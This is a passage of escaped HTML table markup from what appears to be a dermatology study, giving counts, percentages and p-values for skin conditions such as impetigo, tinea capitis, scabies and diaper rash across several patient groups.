style=\"width:63.8pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">19 (26.4)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">8 (21.1)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:56.7pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">0.005</span></strong></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:177.55pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Urticaria</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:50.0pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1 (1.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">3 (5.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:63.8pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">8 (11.1)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">16 (42.1)</span></strong></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:56.7pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">&lt;0,001</span></strong></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:177.55pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Diaper rash in W</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:50.0pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">23 (22.3)</span></strong></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1 (1.7)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:63.8pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:56.7pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">0.001</span></strong></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:177.55pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Eczematid</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:50.0pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">14 (13.6)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">4 (6.7)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:63.8pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">4 (5.6)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1 (2.6)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:56.7pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.034</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:177.55pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Contact dermatitis</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:50.0pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2 (1.9)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">4 (6.7)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:63.8pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">5 (6.9)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">6 (15.8)</span></strong></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:56.7pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">0.005</span></strong></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:177.55pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Photodermatosis</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:50.0pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:63.8pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1 (2.6)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:56.7pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">-</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"6\" style=\"width:489.8pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Infectious dermatosis</span></strong></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:177.55pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Impetigo</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:50.0pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">35 (43.2)</span></strong></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">18 (19.6)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:63.8pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">7 (7.9)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1 (1.5)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:56.7pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">&lt;0.001</span></strong></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:177.55pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Tinea capitis</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:50.0pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">3 (3.7)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">21 (22.8)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:63.8pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">30 (33.7)</span></strong></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1 (1.5)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:56.7pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">&lt;0.001</span></strong></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:177.55pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Scabiosa</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:50.0pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">9 (11.1)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">15 (16.3)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:63.8pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">20 (22.5)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">9 (13.8)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:56.7pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.181</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:177.55pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Pityriasis rosea of Gibert</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:50.0pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1 (1.2)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">7 (7.6)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:63.8pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">12 (13.5)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">14 (21.5)</span></strong></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:56.7pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">&lt;0.001</span></strong></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:177.55pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Tinea corporis</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:50.0pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">4 (4.9)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">10 (10.9)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:63.8pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">8 (9.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">4 (6.2)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:56.7pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.402</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:177.55pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Vulgar wart</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:50.0pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1 (1.2)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">4 (4.3)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:63.8pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1 (1.1)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">11 (16,9)</span></strong></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:56.7pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">&lt;0.001</span></strong></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:177.55pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Seborrheic dermatitis</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:50.0pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">6 (7.4)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:63.8pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1 (1.1)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">5 (7.7)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:56.7pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.068</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:177.55pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Pytiriasis versicolor</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:50.0pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0,0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:63.8pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">10 (15.4)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:56.7pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">-</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:177.55pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Larva migrans</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:50.0pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">3 (3.7)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">5 (5.4)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:63.8pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1 (1.1)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:56.7pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.273</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:177.55pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Folliculitis</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:50.0pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2 (2.5)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">4 (4.3)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:63.8pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2 (2.2)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1 (1.5)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:56.7pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.801</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:177.55pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Molluscumcontagiosum</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:50.0pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2 (2.5)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">4 (4.3)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:63.8pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2 (2.2)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:56.7pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.717</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:177.55pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Diaper rash in Y</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:50.0pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">6 (7.4)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1 (1.1)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:63.8pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:56.7pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">-</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:177.55pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Varicella</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:50.0pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">3 (3.7)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:63.8pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2 (2.2)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1 (1.5)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:56.7pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">-</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:177.55pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span 